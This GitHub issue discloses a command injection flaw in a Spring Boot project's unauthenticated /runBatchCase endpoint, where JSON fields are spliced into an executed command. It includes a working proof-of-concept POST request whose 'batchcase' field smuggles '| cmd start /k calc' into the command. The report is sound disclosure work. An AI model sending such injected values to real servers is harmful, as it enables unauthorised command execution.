Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Command injection vulnerability #13

Open
S2eTo opened this issue Dec 13, 2022 · 0 comments
Open

Command injection vulnerability #13

S2eTo opened this issue Dec 13, 2022 · 0 comments

Comments

@S2eTo
Copy link

S2eTo commented Dec 13, 2022

Unauthorized interface /runBatchCase, use fastjson to decode RunBatchCaseEntity, and directly splice the incoming parameter toString() into the execution command
springboot.HttpImpl#runBatchCase
image

The objects RunBatchCaseEntity are properties of type String, leading to command injection
springboot.model.RunBatchCaseEntity
image

The attack uses batchcase

POST /runBatchCase HTTP/1.1
Host: 192.168.157.1:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 87

{
	"projectname": "33",
	"taskid": "22",
	"batchcase": "| cmd start /k calc",
	"loadpath": ""
}

image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant